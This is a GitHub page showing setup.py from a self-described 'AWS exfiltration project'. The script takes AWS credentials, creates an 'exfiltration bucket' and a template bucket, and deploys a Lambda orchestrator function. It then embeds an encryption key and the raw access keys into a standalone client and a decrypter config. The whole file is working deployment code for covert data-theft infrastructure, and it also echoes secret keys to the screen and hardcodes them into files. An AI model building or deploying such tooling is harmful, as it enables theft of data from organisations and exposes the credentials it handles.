Repository navigation
Expand file tree
/
Copy pathsetup.py
More file actions
210 lines (184 loc) · 7.41 KB
/
Copy pathsetup.py
File metadata and controls
210 lines (184 loc) · 7.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import boto3
from cryptography.fernet import Fernet
import json
from botocore.exceptions import ClientError
from zipfile import ZipFile
import sys
import botocore
print('Welcome to AWS exfiltration project!')
clientEnteredData = True
while clientEnteredData:
aws_access_key = input("Enter AWS access key: ")
aws_secret_access_key = input("Enter AWS secret access key: ")
region_name = input("Enter preferred region: ")
fernet_key = Fernet.generate_key()
orchestrator_name = input("Enter a cool name for your orchestrator function: ")
exfiltration_bucket_name = input("Enter a name for your exfiltration bucket, remember names must be lowecase and unique: ")
template_bucket_name = input("Enter a name for your template bucket, remember names must be lowecase and unique: ")
iam_role_arn = input("Enter the iam_role arn: ")
print('-------------------------------------------------')
print('Info entered was the following:')
print('aws_access_key: ' + aws_access_key)
print('aws_secret_access_key: ' + aws_secret_access_key)
print('region_name: ' + region_name)
print('exfiltration_bucket_name: ' + exfiltration_bucket_name)
print('template_bucket_name: ' + template_bucket_name)
print('iam_role_arn: ' + iam_role_arn)
print('-------------------------------------------------')
client_data = input('Is this information correct? [y/n]: ')
if client_data == 'y':
clientEnteredData = False
print('Your encryption/decryption key is: ' + fernet_key.decode() + '\nSave it!, this is needed for Decrypter setup')
print('Connecting to aws...')
session = boto3.session.Session(
aws_access_key_id = aws_access_key,
aws_secret_access_key = aws_secret_access_key,
region_name = region_name
)
print('...Connected!')
print('-------------------------------------------------')
s3_client = session.client('s3')
buckets = s3_client.list_buckets()
bucket_list = list()
for bucket in buckets['Buckets']:
bucket_list.append(bucket['Name'])
exfiltrationBucketInCreation = True
while exfiltrationBucketInCreation:
print('Creating exfiltration bucket...')
if exfiltration_bucket_name in bucket_list:
client_input = input("Bucket " + exfiltration_bucket_name + 'already exists in your account, do you wish to use this one as exfiltration bucket?[y/n]')
if client_input == 'y':
break
try:
s3_client.create_bucket(
ACL = 'private',
Bucket = exfiltration_bucket_name,
CreateBucketConfiguration = {
'LocationConstraint': region_name
}
)
exfiltrationBucketInCreation = False
print('...Exfiltration bucket created!')
except ClientError as e:
if 'InvalidAccessKeyId' in str(e):
print('The access_key provided is not valid, please check and restart setup')
sys.exit()
if 'SignatureDoesNotMatch' in str(e):
print('The secret_access_key provided is not valid, please check and restart setup')
sys.exit()
print('That bucket name already exists!, please select another name')
exfiltration_bucket_name = input("Enter a name for your exfiltration bucket, remember names must be lowecase and unique: ")
except botocore.exceptions.EndpointConnectionError:
print('Invalid region provided, check and restart setup')
sys.exit()
templateBucketInCreation = True
while templateBucketInCreation:
print('Creating template bucket...')
try:
s3_client.create_bucket(
ACL = 'private',
Bucket = template_bucket_name,
CreateBucketConfiguration = {
'LocationConstraint': region_name
}
)
templateBucketInCreation = False
print('...Template bucket created!')
except ClientError:
print('That bucket name already exists!, please select another name')
template_bucket_name = input("Enter a name for your template bucket, remember names must be lowecase and unique: ")
print('-------------------------------------------------')
s3_resource = session.resource('s3')
print("Modifying template files...")
print("Sample function setup...")
#######Sample function setup
#------------------Modifying data------------------
with open('sampleFunction.py','r') as f:
lines = f.readlines()
#print(lines)
with open('sampleFunction.py','w') as f:
lines.insert(3, str("exfiltration_bucket_name = " + "'" + exfiltration_bucket_name + "'\n"))
f.write("".join(lines))
#------------------Compressing------------------
zipObj = ZipFile('sampleFunction.zip', 'w')
zipObj.write('sampleFunction.py')
zipObj.close()
#------------------Upload function to s3 bucket--------
s3_resource.meta.client.upload_file('sampleFunction.zip', template_bucket_name, 'sampleFunction.zip')
#######Orchestrator setup
print("Orchestrator setup...")
#------------------Modifying data------------------
with open('orchestrator.py','r') as f:
lines = f.readlines()
#print(lines)
with open('orchestrator.py','w') as f:
lines.insert(6, str("template_bucket_name = " + "'" + template_bucket_name + "'\n"))
lines.insert(7, str("compressed_function_name = " + "'" + "sampleFunction.zip" + "'\n"))
lines.insert(8, str("lambda_s3_iam_role = " + "'" + iam_role_arn + "'\n"))
f.write("".join(lines))
#-----------------Compressing----------------
zipObj = ZipFile('orchestrator.zip','w')
zipObj.write('orchestrator.py')
zipObj.close()
#-----------------Upload function to s3 bucket---------
s3_resource.meta.client.upload_file('orchestrator.zip', template_bucket_name, 'orchestrator.zip')
#-----------------Create lambda function based on previous template--------------
aws_lambda = session.client('lambda')
creatingLambda = True
while creatingLambda:
try:
aws_lambda.create_function(
FunctionName = orchestrator_name,
Runtime = 'python3.7',
Role = iam_role_arn,
Handler = 'orchestrator.lambda_handler',
Code = {
'S3Bucket': template_bucket_name,
'S3Key': 'orchestrator.zip'
},
Timeout = 300,
MemorySize = 512
)
creatingLambda = False
except Exception as e:
if 'ResourceConflictException' in str(e):
print('That function already exists!, please choose another name')
else:
print(e)
print('Unknown exception, quitting! Buckets may have been already created, please delete them before running setup again')
sys.exit()
orchestrator_name = input("Enter a cool name for your orchestrator function: ")
#######Standalone Client
print("Client setup...")
#------------------standaloneClient template------------------
with open('standaloneClient.py','r') as f:
lines = f.readlines()
#print(lines)
with open('standaloneClient.py','w') as f:
lines.insert(9, str("key = " + "b" + "'" + fernet_key.decode() + "'\n"))
lines.insert(10, str("aws_access_key_id = " + "'" + aws_access_key + "'\n"))
lines.insert(11, str("aws_secret_access_key = " + "'" + aws_secret_access_key + "'\n"))
lines.insert(12, str("region = " + "'" + region_name + "'\n"))
lines.insert(13, str("orchestrator_function_name = " + "'" + orchestrator_name + "'\n"))
f.write("".join(lines))
##### Decrypter config
data = {
'config': True,
'key': fernet_key.decode(),
'aws_access_key_id': aws_access_key,
'aws_secret_access_key': aws_secret_access_key,
'region': region_name,
'exfiltration_bucket_name': exfiltration_bucket_name
}
with open('dectypterConfig.json', 'w') as outfile:
json.dump(data, outfile)
print("...All files modified!")
print('-------------------------------------------------')
print('Setup is complete!')
print('Cleaning up...')
import os
os.remove("orchestrator.zip")
os.remove("sampleFunction.zip")
print("Finished!")
#with open('config.json','w') as f:
# json.dump(config, f, ensure_ascii = False)